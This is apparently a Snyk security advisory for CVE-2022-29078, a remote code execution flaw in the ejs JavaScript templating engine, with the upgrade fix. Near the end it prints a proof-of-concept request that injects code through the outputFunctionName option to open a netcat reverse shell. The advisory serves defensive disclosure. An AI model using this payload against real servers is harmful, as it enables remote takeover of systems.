Remote Code Execution (RCE) Affecting ejs package, versions <3.1.7
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
32.27% (98th
percentile)
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Test your applications- Snyk ID SNYK-JS-EJS-2803307
- published 26 Apr 2022
- disclosed 26 Apr 2022
- credit evi0s
Introduced: 26 Apr 2022
CVE-2022-29078 Open this link in a new tabHow to fix?
Upgrade ejs to version 3.1.7 or higher.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
CVSS Scores
version 3.1